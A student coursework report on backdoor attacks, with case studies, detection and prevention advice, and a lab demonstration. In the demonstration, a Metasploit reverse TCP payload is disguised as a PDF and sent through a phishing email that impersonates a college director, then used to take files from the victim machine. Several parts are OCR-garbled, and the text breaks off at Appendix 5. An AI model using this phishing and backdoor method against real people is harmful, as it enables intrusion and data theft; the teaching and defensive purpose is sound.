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Abstract

Backdoor attacks are a significant threat to computer systems, as they allow attackers to
gain unauthorized access and potentially compromise the security of the system. This
report provides a detailed analysis of the history and evolution of backdoor attacks, as
well as real-life case studies of data breaches caused by such attacks. The report also
includes a demonstration of how a backdoor attack can be conducted using various
methods such as email spoofing, phishing, social engineering, and steganography. In
addition, the report covers ways to detect and prevent backdoor attacks, as well as

recommendations for maintaining the security of systems.



Table of Contents

1.

2.

INEFOTUCTION ..t 1
1.1 SUDJECE MAIEN ...ttt 1
1.2 AIMS ANA ODJECHIVES ....uiiiiiiiiiiiiiiiiiiiiiiiii bbb ennnennee 2

L2 L A e 2

I © 1 o 1= o] 1)V P 2

2 Tod (| {0 Lo U 3
2.1 Brief History and EVOIULION .........coooiiiiiiii e 3
2.2 LItEratlre REVIEW .......eeiiiiiiiiiiiiiitie ettt e e e e e e e e e e e s eeeeeeas 4

2.2.1 Case Study 1: Python backdoor in VMware ESXi Servers........cc.cccceeeeeennn.. 4

2.2.2 Case Study 2: PUTTY SSH client backdoor in media company................... 4

2.2.3  ANalysisS Of the CaSES ......ccooiiiiiiiii e 5
2.3 AUACK DEMONSIIALION ... 6

2.3.1 Creating the backdoor file with Metasploit ...........ccccccovvviiiiiiiiiiiiiiiiiiiieieee 6

2.3.2 Sending backdoor through email to the Victim .........cccccccvniiiiiiiiiiiiiiiiinnnn. 7

2.3.3 Backdoor in the Victim SyStem ... 8

2.3.4 Gaining Access to the VIctim DeVICE ..........coevviiiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeee 9

2.3.5 Exfiltrating data from the VICtim SYStem ..........cccccvvviiiiiiiiiiiiiieeeeeee 11
2.4  Detection TECNNIQUES ......ouuiiiieiiie e 13

2.4.1 Inspecting the downloaded file ..........coouviiiiiiiiii e, 13

2.4.2 Scanning the file fOr VIFUS ..o 14

2.4.3 Investigation using Task Manager .........ccoooovviiiiieiiiii e 15

2.4.4 Investigation USING EVENt VIEWEN ........cccvuiiiiiiiiiie e 16

2.5  Prevention TECNNIQUES .......ooii i 17



ReECOMMENUALIONS ..o e et 18

CONCIUSION ... 19
REIEIENCES ... 20
AADPEINAIX . 22
6.1 Appendix 1: Introduction to Digital/Cyber Crime ...........ccccvvvvvviiiiiieeeeeeeeiinn, 22
6.2 Appendix 2: Detailed History and Evolution ............c.cccoooviiiiiiiiiii e, 25
6.3 Appendix 3: Case Study 1: Python backdoor in VMware ESXi servers ........... 27
6.4 Appendix 4: Case Study 2: PuTTY SSH client backdoor in media company ... 29

6.5

Appendix 5: Attack DemONSIratioN ..........oocvvuviiiiiie e 31



Table of Figures

Figure 1: Statistics of Digital/Cybercrime (Jay, 2022).........couuuuuiiiiiieeeeieeeeiiiiae e e eeeeeeens 1
Figure 2: Working of Backdoor Attack (Kasza & Yates, 2017). .....ccccevvvveviiviiiiieeeeeeeeennnns 3
Figure 3: Creating the backdoor using Metasploit..............ooovvvuiiiiiii e, 6
Figure 4: Sending backdoor via emalil ... 7
Figure 5: Backdoor downloaded in the VICtim deVICe ..........ocevvviiiiiiiieiiieeeiiie e 8
Figure 6: Malicious file opened in the Victim SyStem ...........oooviiiiiiiiiiiiieece e, 8
Figure 7: Initiating the reverse TCP handler on the attacker machine............................. 9
Figure 8: Connection established between victim and attacker............ccccccvvvvvviiiinnnnnen. 10
Figure 9: Downloading filles from the victim machine..........ccccccccvviiiiiiiiiiiiiiie 11
Figure 10: Extracted files from the victim machine............cccccccooiii i, 12
Figure 11: File extension of downloaded attachment .................ccooooeiiiiiiiiiiii e, 13
Figure 12: Scanning the file fOr VIrUS ..........cooiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeeeee 14
Figure 13: Unusual application rUNNING ..........coeiviiiiiiiiiiiiiiiiiieieeeeeeeeeeeeeeeeeeee e 15
Figure 14: Suspicious activity in the Event VIEWET ............ooovviiiiiiiiieiiceeiiie e 16
Figure 15: Statistics of cyber-crime in 2021 (Richter, 2022)..........ccccovvvviiiiiiiieeieeeeeeeins 22
Figure 16: Identity Theft and Fraud Statistics (Insurance Information Institute, 2022). . 23
Figure 17: Backdoor attack workflow (Rawal, 2022). ...........ccoeviiiiiiiiiiiiiiiiiiiiiiiiiiiieeeee 25
Figure 18: Python backdoor in VMware ESXi (Toulas, 2022). ...........ccoevvvieeiiieeeeeeeennns 27
Figure 19: PUTTY SSH client backdoor (Toulas, 2022)...........ccceeieieeeiieeeiiiiiie e, 30
Figure 20: IP address of the attacker machine..........cccccccvviiiiiiiiiiiiiieee 31
Figure 21: Creating the DaCKdOOr .............coviiiiiiiiiiiiiiiiiiiieeeeeee e 32
Figure 22: Backdoor created in the attacker machine .............ccccooeviiiiiiii e, 33
Figure 23: Creating a fake dOCUMENT ..........cooiiiiiii e 33
Figure 24: Downloading image for icon from internet..........ccccccvvviviiiiiiiiiiiiiiiiiiiiiiieeee, 34
Figure 25: Website to convert image to iCO file..........oouvviiiiiiiiiiiiiiiiiiiieeee 34
Figure 26: Downloading the converted icO file..........cccooiiiiiiiiiii e, 35
Figure 27: Adding backdoor and pdf file to archive ..........ccccooooviiiiiiii e, 35
Figure 28: Creating @ SIX file .....ooiviiiiiiii 36

Figure 29: Advanced STX OPLIONS ........uuuiiii e e e e e e e e e eeeanes 37



Figure 30:
Figure 31:
Figure 32:
Figure 33:
Figure 34:
Figure 35:
Figure 36:
Figure 37:
Figure 38:
Figure 39:
Figure 40:
Figure 41:
Figure 42:
Figure 43,
Figure 44:
Figure 45:
Figure 46:
Figure 47:
Figure 48:

Program setup for @XECULION .........ooeviiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeee e 38
Hiding the extracted file...........oooi 39
Selecting the icon for the merged file ..., 40
Creation of malicious carrier file .........cccccoviiiiiiiiiiiiiieeeeee 41
Creating a fake email aCCOUNt............cooviviiiiiiiiiiiiiiieeeeee 42
Uploading the carrier file in a GitHUD repoSitory.........ccceeeveveviiiiiiiiieeeeeeeeaes 43
Getting a direct download link for the carrier file ...........ccccvvviiiiiiiiiieieeen, 43
Adding the download link of carrier file..........ccccoooiiiiiii e, 44
Sending the phishing mMail ... 44
Phishing mail received by the VICtim ...........ccccce 45
Carrier file downloaded in the victim machine..........ccccccccvvvviiiiiiiiiiiiiienennnn. 45
Initializing reverse TCP listener on the attacker machine............................. 46
Carrier file opened by the VICHM ... a7
File viewed by the VICHM ... a7
Reverse TCP connection established between attacker and victim............. 48
Getting system information of the victim .............ccccooeiiii i, 48
Searching for sensitive files in the victim machine .............ccccccoeeeii s 49
Exfiltrating files from the victim machine ............cccccccoee 49
Sensitive information obtained in the attacker machine ..........ccccccccvvvvveenne.. 50



CC6011NI Digital Investigation and E-Discovery

1. Introduction

1.1 Subject Matter

Digital/cybercrime is any illegal activity that involves the use of computers or the internet.
Cyber criminals use social engineering and malware to steal sensitive information, disrupt
computer systems, or gain unauthorized access to networks. Malware is a type of
software that is designed to harm or exploit computer systems without the user's
knowledge or consent. Some common types of malwares include viruses, worms, Trojan
horses, and ransomware. For example, a hacker may use malware to infect a victim's
computer and then use it to launch a cyber-attack on a larger scale. This type of
digital/cybercrime can have serious consequences for both the victim and the perpetrator,
and it is important for individuals and organizations to take steps to protect themselves

from malware (Holt, et al., 2022).

(Introduction to Digital/Cyber crime: Appendix 1)

Desktops & laptops are most vulnerable to cybercrimes

Devices most vulnerable to cybercrimes:

70%

61%
0,
. . 5 O A 47%
%
desktops smartphones tablets wireless access servers routers
& laptops points & server rooms & switches

Leading malware carriers

email -2 92.4%

Figure 1: Statistics of Digital/Cybercrime (Jay, 2022).
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1.2 Aims and Objectives

1.2.1 Aims

The purpose of this report is to demonstrate the process of creating a reverse TCP
backdoor through Metasploit Framework to establish connection with a victim’s computer
and use it to gain access to their system. This report is developed in order to show how
a computer can be compromised using backdoor and provide ways to detect suspicious
activity in the system, remove the malicious files and prevent such attacks from taking

place.

1.2.2 Objectives

The objectives of the report are:

To gain a thorough understanding of the digital/cybercrime domain.
To research the theoretical and technical aspects of backdoor attacks.
To understand the evolution and growth of digital/cybercrime.

To find out the mitigations and preventions for backdoor attacks.

To perform a reverse TCP backdoor attack using Metasploit Framework.

Sujen Shrestha
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2. Background

2.1 Brief History and Evolution

Backdoors have been used for both legitimate and nefarious purposes throughout the
history of computing. In 1993, the NSA developed an encryption chip with a built-in
backdoor. In 2005, Sony BMG shipped millions of CDs with a harmful copy protection
rootkit. In 2014, backdoors were found on Netgear and Linksys routers and on Samsung
mobile devices. In 2015, the FBI and US Department of Justice requested that Apple
include backdoors in its products, but Apple refused and instead enhanced the security
of its iI0OS devices. In 2017, malicious backdoors were found in WordPress and other
content management systems and in the NotPetya ransomware. In 2018, state-
sponsored Chinese spies were reported to have implanted hardware backdoors on server
components destined for American tech companies and government organizations
(Malwarebytes, 2022).

(Detailed History and Evolution: Appendix 2)

Spear Phishing Email

L
A

Attacker Target

11T)

}Exploit Document

Backdoor Access / \
L oy
— /) Decoy Document
¢®v ﬂ Y

FakeM Backdoor

Figure 2: Working of Backdoor Attack (Kasza & Yates, 2017).
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2.2 Literature Review

2.2.1 Case Study 1: Python backdoor in VMware ESXi servers

A previously undisclosed Python backdoor targeting VMware ESXi servers was
discovered by Juniper Networks researchers. The server may have been compromised
using the wvulnerabilities CVE-2019-5544 and CVE-2020-3992 in ESXi's OpenSLP
service. The malware added seven lines to "/etc/rc.local.d/local.sh,” which launched a
Python script saved as "/store/packages/vmtools.py." This script launched a web server
that accepted password-protected POST requests from the threat actors, which could
carry a base-64 encoded command payload or launch a reverse shell on the host. The
threat actors also changed the ESXi reverse HTTP proxy configuration to allow remote

access to communicate with the planted web server. (Toulas, 2022).

(Detailed Case Study: Appendix 3)

2.2.2 Case Study 2: PUTTY SSH client backdoor in media company

In this case, cybercriminals used a trojanized version of the PUTTY SSH client to drop
malware on their targets' systems. The attack began with a job offer sent via email and
was later moved to WhatsApp, where the ISO file containing the tampered PuTTY client
was shared. When the victim used the malicious version of PUTTY to connect to the host,
it deployed a shellcode payload in the form of a DLL, which was then used to drop the
AIRDRY.V2 backdoor malware. This malware was able to communicate with its C2 server
through various methods and had several capabilities, including the ability to execute
plugins in memory. To protect against this type of attack, it is important to verify the
legitimacy of any SSH client being used and to be cautious when downloading files or

opening them from unknown sources (Toulas, 2022).

(Detailed Case Study: Appendix 4)
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2.2.3 Analysis of the Cases

In first case, the VMware ESXi server backdoor allows for remote command execution on
compromised systems, which can result in significant damage if the attackers are able to
gain access to sensitive data or systems. It is also difficult to determine the initial point of

compromise, as the log retention was limited.

In second case, the trojanized PuTTY client was able to drop and execute malware on
the target's system, allowing for the deployment of the AIRDRY.V2 backdoor. This
malware had various capabilities, including the ability to communicate with its command-
and-control server, upload system information, and execute plugins in memory. This type
of attack can lead to unauthorized access and control of the victim's system, as well as

the potential theft of sensitive data.

In both cases, the use of a backdoor allowed the threat actors to gain unauthorized access
to the system and potentially compromise it in various ways. It is important for
organizations to be aware of these types of threats and take steps to protect their systems
and networks. This can include implementing strong security measures, such as firewalls
and intrusion detection systems, and staying up to date with patches and updates to
prevent vulnerabilities from being exploited. It is also important to be cautious when
downloading files or opening them from unknown sources, and to verify the legitimacy of

any software being used, to help prevent successful backdoor attacks.

Sujen Shrestha 5
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2.3 Attack Demonstration

2.3.1 Creating the backdoor file with Metasploit

The backdoor was created in Desktop of attacker machine using msfvenom.

File Edit View VM Tabs Help

£ ; A 025 | a c

root@kali: /home/sujen/Desktop

File Actions Edit View Help

[sudo] password for sujen:
/home/sujen
File System Desktop

Figure 3: Creating the backdoor using Metasploit
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2.3.2 Sending backdoor through email to the Victim

A fake email address was created which was used to send an email containing the

download link for the backdoor to the victim.

f Employee Performance Overvien. X +

<« C @ mailgoogle.com Y O @ incognito
= M Gmail Q  insent X 3= ® &
€« o w B 0 & B DO Tof2 > B
# Compose
= m Employee Performance Overview Letter 2 @
nbox
¥ Starred o Prakash Sharma <prakash.islingto 753PM (0 minutesage)  Yr €} @
® Snoozed to sujenpro
>  Sent Dear Sujen, ;
1 On behalf of Islington College, | wanted to express my appreciation for all of your hard work and dedication. Your performance over the past year has been
Drafts
outstanding, and we have been very impressed with the contributions you have made to our team
~ Lless
D Important Your efforts have not gone unnoticed and have been greatly appreciated. We are confident that with your continued hard work and dedication, we will continue to +
L achieve great success
Chats
Thank you for all that you have done.
Ee Scheduled Please view your performance overview by downloading the attachment from the link given below.
B Al Mmail Performance Overview Letter
Spam Best Regards.
P 0
Prakash Sharma
@ Trash Managing Director
+ O Categories Islington College
8 Manage labels
+  Create new label (€ Reply )( ~ Forward )
- VAN p >

Figure 4: Sending backdoor via email
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2.3.3 Backdoor in the Victim System

The victim read the email and clicked on the link to download the file.

3 Downloads

i » Downloads

Name Date modified Type

% Progress Overview Letter.pdf 1/2/2023 10:45 PM Application

Down|
E Documents
& Pictures
@ Music

M vi

B This PC

= New Volum

New Vnlume (F)

Titem | 1

Figure 5: Backdoor downloaded in the victim device

The victim opened the file to check its content.

@ Progress Overview Letterpdf X+

e :fUsers/Suzen/AppData/Local/Temp/RarSFX0/Prog Overview%20Letter.pdf
pp P g p

=  Progress Overview Letter pdf

GROUP

Kamal Marg, Kamal Pokhari, Kathmandu, Nepal
9801042242, 9801000400
info@islington.edu.np

Dear Sujen,

| am writing to express my sincere appreciation for your hard work and dedication to the

organization. Your contributions have been invaluable, and | am grateful for all that you

have done to help us achieve our goals. | wanted to take a moment to recognize your role
in our company's recent achievements. Your efforts have been instrumental in driving our
success, and | am proud to have you as a member of our team. Some specific areas
where your contributions have made a significant impact include:

Figure 6: Malicious file opened in the victim system
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2.3.4 Gaining Access to the Victim Device

The reverse TCP handler was initialized in the attacker machine. It waits and checks for

the backdoor file to be executed on the victim machine.

File Edit View VM Tabs Help

BleomP ol

root@kali: lhome/sujen/Desktop

File Actions Edit View Help
~/Desktop

[sudo] password for sujen:
/home/sujen/Desktop

Letter.exe

Figure 7: Initiating the reverse TCP handler on the attacker machine
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The connection was established after the file was opened in the victim device.

File Edit View VM Tabs Help

Ve mP o>~

root@kali: fhome/sujen/Desktop

Actions Edit View Help

PAYLOAD

Letter.exe

handler on 0.0
on 1 c 2. 7 at 2023-01-01

Figure 8: Connection established between victim and attacker
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2.3.5 Exfiltrating data from the victim system

The sensitive information in victim machine was looked through and downloaded in the

attacker machine.

File Edit View VM Tabs Help

BleomP ol

root@kali: fhome/sujen/Desktop

File Actions Edit View Help

ot 2022-10 25519

ume Information

Letter.exe

p 1 MB.jpg — /home/st
a

Stolen

Figure 9: Downloading filles from the victim machine
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The exfiltrated data was inspected in the attacker machine.

File Edit View VM Tabs Help

;Q—-'*‘E" 2 3 g A © 1940 | @& C

Places

Devices
g E

Letter.exe Network

Figure 10: Extracted files from the victim machine

(Detailed Attack Demonstration: Appendix 5)
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2.4 Detection Techniques

Digital Investigation and E-Discovery

The above performed backdoor attack can be detected through the following methods:

2.4.1 Inspecting the downloaded file

The extension of the downloaded file was “.exe” which means that it is an executable file

which is unusual for an email attachment.

@ Progress Owverview Letter.pdf Properties

Security Detailz Previous Versions
General Compatibility Archive Comment
|% Progress Overview Letter pdf

Type of file:  Application [ exe)

Descrption:  Progress Owverview Letter pdf

Location:
Size: E40 KB (E55,596 bytes)
Size on disk: 644 KB (659,456 bytes)

Created: Friday, January &, 2023, 2:12:25 PM
Maodified: Friday, January &, 2023, 2:12:25 PM

Accessed:

Atributes: [ JReadonly [ Hidden

Cancel

D Year 3vDigital Investigation and E-DiscovenyFile

Today, January 6, 2023, 4 minutes ago

Advanced...

Sujen Shrestha

Figure 11: File extension of downloaded attachment
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2.4.2 Scanning the file for virus

Most of the antiviruses flagged the file as malicious which means that it is not safe to

open.

VirusTotal - File - e2f0cffd5eciaf: X +

< C @ virustotal.com,

- [T
Z URL, IP address, domain, or file hash Q <~ 288 Sign in m

4 6 @ 46 security vendors and no sandboxes flagged this file as malicious & :-5
170
ifgfgcﬁtmemafa%ﬂ109239cdeﬂlBh73034&859&38399395e435518927 64023 KB 2023-01-06 08-27-47 UTC QO
Size 1 minute ago EXE
Progress Overview Letier pdi.exe
peexe spreader  owerlay
X Community Score V'
DETECTION DETAILS BEHAVIOR COMMUNITY
Security vendors' analysis ()
Acronis (Static ML) @ Suspicious Ad-Aware @ Gen:Variant Fragtor. 177373
AlYac @ Gen:Variant Fragtor 177373 Antiy-AVL @ GrayWare/\in32 Rozena |
Arcabit @ Trojan.Fragtor.D2B4DD Avast ® Win32:Metasploit-C [Trj]
AVG @ Win32:Metasploit-C [Trj] Avira (no cloud) @ TRICrypt. XPACK Gen7
BitDefender @ Gen:Variant Fragtor 177373 ClamAV @ Win Malware Uztuby-9978511-0
Cybereason (1) Malicious.b29e8b Cynet (D Malicious (score: 100) @

Figure 12: Scanning the file for virus

Sujen Shrestha 14
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2.4.3 Investigation using Task Manager

An unusual application was running while inspecting the task manager.

Processes

£
£
£
=
£
o
£
=
£
£
3
£

Ee Run new task

A7T%
CPU
COM Surrogate
COM Surrogate
COM Surrogate
COM Surrogate
CTF Loader
s for Windows Tasks
igfxCUlService Module
igfxEM Module
Intel HD Graphics Drivers for Windows(R)
Intel® Graphics Command Center Service

Microsoft (R) Aggregator Host

"« Microsoft Distributed Transaction Coordinator Service

Microsoft Office Click-to-Run

Micro Windows Search Indexer

End task

0.8 MB
0.4 MB

73N

0.4 MB
0.6 MB
0.3 ME
3.0 MB
2.0 MB
0.8 MB
0.5 MB
3.2 MB

7.2 MB

Figure 13: Unusual application running

Sujen Shrestha

0

0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/s
0 MB/

0 MB/s

0 MB/s

Dis

Efficiency mode

k N

0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps

0 Mbps

View ~
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2.4.4 Investigation using Event Viewer

The event viewer was opened and suspicious activity from the backdoor was found.

{2 Event Viewer
File Action View Help
LI ARealall 7|
{2 Event Viewer (Local)
> [ Custom Views
~ [ Windows Logs
[=] Application
] Security
E] setup
] System
[F] Forwarded Events
> [ Applications and Services Lo|

= a

Digital Investigation and E-Discovery

Actions

[ Subscriptions

Application  Number of events: |
Level Date and Time Source Event D Task Category
(@ Information  1/2/2023 7:38:56 PM Windows Error Reporting 1001 None
@ Error 1/2/2023 7:35:42 PM Application Hang 1002 Hanging Events
(@)information  1/2/2023 7:35:42 PM Windows Error Reporting 1001 Mone
@Enor 1/2/2023 7:35:00 PM Application Hang 1002 Hznging Events
(D Information  1/2/2023 7:35:00 PM Windows Error Reporting 1001 Nene
(@ Information  1/2/2023 7:20:46 PM Windows Error Reporting 1001 None
Event 1001, Windows Error Reporting
General Details

Fault bucket 1268078562721236626, type 4

Event Name: APPCRASH

Response: Not available

Cab Id: 0

Problem signature:

I e

P2: 0.0.0.0

P3: 4bc63cTd

P4: KERNELBASE.dII

P5: 10.0.22621.963

Log Name: Application

Source: Windows Error Reporting  Logged: 1/2/2023 7:20:46 PM

Event ID: 1001 Task Category: None

Level Information Keywords:

User: SYSTEM Computer.  Sujen

OpCode: Info

More Information:  Event Log Online Help

Application
= Open Saved Log..

¥ Create Custom View..
Import Custom View..
Clear Log...
Filter Current Log..
Properties

Find...

DEDA

Save Al Events As...
Aftach a Task To this Log...

View

|G Refresh

H Hep

Event 1001, Windows Error Reporting
[=] Event Properties

‘E) Attach Task To This Event...

52 Copy

Save Selected Events...

Refresh

|-<Hel: miv

Help

Figure 14: Suspicious activity in the Event Viewer

Sujen Shrestha
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2.5 Prevention Techniques

Some of the ways which can be used for preventing such kinds of backdoor attacks are

explained below:

e Keeping the software and operating system kept up to date: Keeping the
software and operating system up to date with the latest security patches can help
fix vulnerabilities that could be exploited by attackers.

e Using firewall for traffic filtering: Firewalls can help prevent unauthorized
access to the system by monitoring and controlling incoming and outgoing network

traffic based on predetermined security rules.

e Analyzing files in sandbox environment: The suspicious file downloaded should
be checked in a sandbox environment such as virtual machine so that even if the

file is malicious, it will not be able to cause any damage to the user.

e Employing security tools: The security tools such as antivirus software, intrusion
detection systems, and security information and event management (SIEM)
systems should be used to protect the system from backdoor attacks.

e Monitoring the system: The system should be monitored regularly for suspicious

activity and anomalies to detect and prevent a security breach.
e Inspecting the email: The email should be closely looked at before downloading

any attachments as many phishing emails are sent using spoofed email which

looks similar to a legitimate email.

Sujen Shrestha 17
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3. Recommendations

Some of the ways which can be used for reducing the risks of backdoor attacks are

elaborated below:

Be careful when giving out personal information: Don't give out personal

information, such as login credentials or financial information, to unknown sources.

Use strong encryption techniques: Utilizing encryption can help prevent
attackers from being able to read or access data if they manage to gain

unauthorized access to the system.

Limit the user privileges: Limiting user privileges to only those necessary for their
job can help prevent attackers from using a compromised user account to gain

access to sensitive areas of your system.

Use antivirus software: Antivirus software can help detect and prevent malware

infections, including those that create backdoors.

Maintain data backup: Backing up important data can help to reduce the loss
when compromised from an attack. An efficient backup strategy can help to

recover the original data when compromised.

Do not use pirated software: Pirated softwares may be bundled with backdoors

and various other malwares, which can be used to hack the system.

Sujen Shrestha 18
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4. Conclusion

Backdoor attacks pose a significant risk to computer systems as they allow hackers to
gain unauthorized access and perform various malicious actions. These actions may
include stealing sensitive data, running malicious scripts, and conducting additional
attacks. To protect against these types of attacks, individuals and organizations should
implement strong security measures, regularly update their systems, and be vigilant for
suspicious activity. If an attack does occur, sensitive information may be stolen and used
for illegal activities such as financial fraud, identity theft, account takeovers, and
intellectual property theft, resulting in significant losses for individuals and organizations.
Therefore, it is important to take steps to protect against these types of attacks which can

help to significantly reduce the likelihood of falling victim to such attacks.
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6. Appendix

6.1 Appendix 1: Introduction to Digital/Cyber crime

Digital crime, also known as cybercrime, refers to any illegal activity that involves the use
of computer systems and the internet. These crimes can take many different forms and

can range from simple online scams to sophisticated attacks on critical infrastructure.

The Most Common
Types of Cyber Crime

Number of Americans who fell victim to the
following types of internet crime in 2021

Phishing/Vishing/smishing [ EGTH 323,972

Non-Payment/Non-Delivery - 82,478

Personal Data Breach - 51,829

identity Theft [ 51.629 @_
extortion [JJfj 39360

Confidence/Romance Fraud . 24,299 [\
Total victim losses
Tech Support l 23,903 from the listed crimes:

$4.0 billion

Investment I 20,561

Source: The FBI's Internet Crime Complaint Center

S0JO, statista %a

Figure 15: Statistics of cyber-crime in 2021 (Richter, 2022).
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One common type of digital crime is fraud, which involves using deceptive tactics to obtain
money or sensitive information from victims. Examples of fraud include phishing scams,
in which attackers send fake emails or text messages pretending to be from a legitimate
organization in order to trick people into revealing their login credentials or financial
information. Pyramid schemes and advance fee scams are also forms of fraud that use
persuasive tactics to lure people into investing money or giving out personal information,

with the promise of receiving a larger return on their investment.

Wldentity theft complaints HOther consumer complaints B Fraud complaints
6,000,000 1 5,763,653

5,500,000 -
5,000,000 - 4,917,336

4,500,000 » 2,789,161 L

4,000,000 4
3,470,076 2,277,130 LA

3,500,000 4 3,170,037

2,928,227

3,000,000 -

2,500,000 4 1,522,834 1,862,871

1,310,003 1,530,816 L/
2,000,000 1 394 ’

1,500,000 +
o,
1,000,000 { |00 4% o 8%

1,434,676 rEEd
500,000 1

370,915 &3
2017 2018 2019 2020 2021

Figure 16: Identity Theft and Fraud Statistics (Insurance Information Institute, 2022).

0«

Identity theft is another common form of digital crime. This involves stealing someone's
personal information, such as their name, address, and credit card numbers, in order to
impersonate them and commit fraud. Identity thieves can use this information to open
credit cards, take out loans, or make purchases in the victim's name, causing significant

financial damage and ruining the victim's credit.
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Malware is another common type of digital crime. This is a broad term that refers to any
software that is designed to harm or exploit a computer system. Examples of malware
include viruses, which are designed to replicate and spread to other systems, and worms,
which are designed to exploit vulnerabilities in order to gain unauthorized access to a
system. Ransomware is a type of malware that encrypts a victim's files and demands a

ransom from the victim to restore access to the files.

Hacking is another type of digital crime that involves unauthorized access to computer
systems or networks in order to steal sensitive information, disrupt operations, or commit
other crimes. Hackers may use a variety of techniques, such as exploiting vulnerabilities
in software or using social engineering tactics to trick people into revealing their login

credentials.

Distribution of illegal content is another form of digital crime. This can include the
distribution of child pornography, pirated software, or other illegal or copyrighted material.
Sharing such material online is illegal and can result in serious consequences.
Cyberstalking is another type of digital crime that involves the use of the internet or other
electronic means to harass, intimidate, or threaten someone. This can include sending
threatening messages or emails, posting threatening or personal information online, or

using tracking software to monitor someone's online activities.

Digital crime is a significant and growing problem, as the internet and other digital
technologies continue to become more prevalent in our lives. These crimes can have
serious consequences for both individuals and organizations, and it is important for
people to be aware of the risks and to take steps to protect themselves and their
information (Joseph, 2017).
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6.2 Appendix 2: Detailed History and Evolution

A backdoor is a method of bypassing normal authentication procedures in order to gain

unauthorized access to a system. Backdoor attacks have been around for as long as

there have been computer systems, and they have evolved significantly over time. In the

early days of computing, backdoors were often implemented as a means of allowing

developers to access systems for debugging and maintenance purposes. These

backdoors were often undocumented and were not intended to be used by anyone other

than the developers who implemented them.

Backdoors attack in Cybersecurity

C&C Server

Once installed, the backdoor
checks which port is allowed
to access CRC Server

Firewall

User Agent 2

User Agent 3

Figure 17: Backdoor attack workflow (Rawal, 2022).
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As computer systems became more sophisticated and the internet grew in popularity,
backdoors began to be used more frequently as a means of accessing systems for
malicious purposes. Hackers would search for and exploit these backdoors in order to
gain unauthorized access to sensitive information or to launch attacks on other systems.
In response to the increasing threat of backdoor attacks, security measures such as
firewalls and authentication protocols were developed to protect against unauthorized
access. However, as these measures have become more effective, hackers have had to

find new and more sophisticated ways of accessing systems.

One common technique used by hackers is to install a malicious program on a system
that creates a backdoor. This can be done through a variety of means, including phishing
attacks, malware infections, and unpatched vulnerabilities. Once the backdoor is in place,
the hacker can use it to gain access to the system at any time and can use it to perform
a variety of malicious actions. Another technique that has become increasingly common
is the use of "zero-day" vulnerabilities. These are vulnerabilities in software or hardware
that are unknown to the manufacturer and have not yet been patched. Hackers can exploit
these vulnerabilities to gain access to systems and install backdoors, allowing them to
gain unauthorized access even if the system is fully patched and up to date.

Overall, the evolution of backdoor attacks has been driven by the increasing complexity
of computer systems and the constant arms race between hackers and security
professionals. As new technologies and security measures are developed, hackers will
continue to find new ways to bypass them and gain unauthorized access to systems
(Erickson, 2016).
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6.3 Appendix 3: Case Study 1. Python backdoor in VMware ESXi

servers

A previously undisclosed Python-based backdoor targeting VMware ESXi servers was
recently discovered by Juniper Networks researchers. This backdoor enables hackers to
execute commands remotely on compromised systems. VMware ESXi is a virtualization
platform that is commonly used in the enterprise to host multiple servers on a single

device, allowing for more effective use of CPU and memory resources.

The researchers found the backdoor on a VMware ESXi server, but were unable to
determine how the server was initially compromised due to limited log retention. They
suspect that the server may have been compromised through the use of the CVE-2019-
5544 and CVE-2020-3992 vulnerabilities in ESXi's OpenSLP service. Although the
malware is technically capable of targeting Linux and Unix systems as well, Juniper's
analysts found multiple indications that it was specifically designed for attacks against
ESXi.

Figure 18: Python backdoor in VMware ESXi (Toulas, 2022).
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The backdoor adds seven lines to the "/etc/rc.local.d/local.sh" file, which is one of the few
ESXi files that survives reboots and is executed at startup. Typically, this file is empty
except for advisory comments and an exit statement. One of the added lines launches a
Python script located at "/store/packages/vmtools.py”, which is in a directory that stores
VM disk images, logs, and other files. The name and location of this script indicate that
the malware operators specifically targeted VMware ESXi servers.

The script launches a web server that accepts password-protected POST requests from
the remote threat actors. These requests can carry base-64 encoded command payloads
or launch a reverse shell on the host. The reverse shell allows the compromised server
to initiate a connection with the threat actor, which can help bypass firewall restrictions or
work around limited network connectivity. Juniper's analysts observed that the threat
actors also modified the ESXi reverse HTTP proxy configuration to allow remote access
to the planted web server. This modification was made to the
"letc/vmware/rhttpproxy/endpoints.conf” file, which is also backed up and restored after a

reboot, allowing for persistent modifications.
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6.4 Appendix 4: Case Study 2: PUTTY SSH client backdoor in media

company

In this case study, threat actors used a trojanized version of the popular PUuTTY SSH
client to drop malware on their targets' systems. The attack began with a job offer sent
via email, and communication was later moved to WhatsApp where the ISO file containing

the trojanized PUTTY client was shared.

The ISO file included a text file with IP address and login credentials, as well as the
tampered version of PUTTY. The malicious version of PUTTY was larger in size than the
legitimate version due to the inclusion of a malicious payload in its data section. However,
it was fully functional and looked identical to the legitimate version.

When the victim used the tampered version of PUTTY to connect to the host using the
provided credentials, it deployed a malicious DAVESHELL shellcode payload in the form
of a DLL, which was packed with Themida. The malicious PuTTY then used a search

order hijacking vulnerability to load the DLL and execute it stealthily.

The DLL acted as a dropper for the final payload, the AIRDRY.V2 backdoor malware,
which was executed directly in memory. This malware was able to communicate with its
command-and-control server through various methods, including HTTP, file, and SMB

over a named pipe. It was also able to execute plugins in memory.
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(el e Re]
0
—

Contact Established Jobh Assessment Victim attempts to
with Victim 1SO Archive connect to assessment
with backdoored PuTTY

©»

Backdoor communication PuTTY launches Themida-
established with C2 servers packed DLL on connection

//'@

C——
AIRDRY.V2 DAVESHELL shellcode
Backdoor Deployed loaded in memory

Figure 19: PUTTY SSH client backdoor (Toulas, 2022).

The AIRDRY.V2 malware had several capabilities, including the ability to upload basic
system information, update the beacon interval based on a value provided by the C2
server, deactivate until a new start date and time, upload and update the current
configuration, and keep the connection alive. It could also update the beacon interval
based on a value in the configuration, update the AES key used to encrypt C2 requests

and configuration data, and download and execute a plugin in memory.

To protect against this type of attack, it is important to verify the legitimacy of any SSH
client being used and to be cautious when downloading files or opening them from
unknown sources. To check for trojanized versions of PuTTY, you can look at the
properties of the executable and ensure that it is digitally signed by 'Simon Tatham.' The
legitimate KIiTTY program should also be checked for malicious detections by uploading

it to a virus scanning service, such as VirusTotal.
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6.5 Appendix 5: Attack Demonstration

Firstly, the IP address of the attacker machine was taken so that the reverse TCP

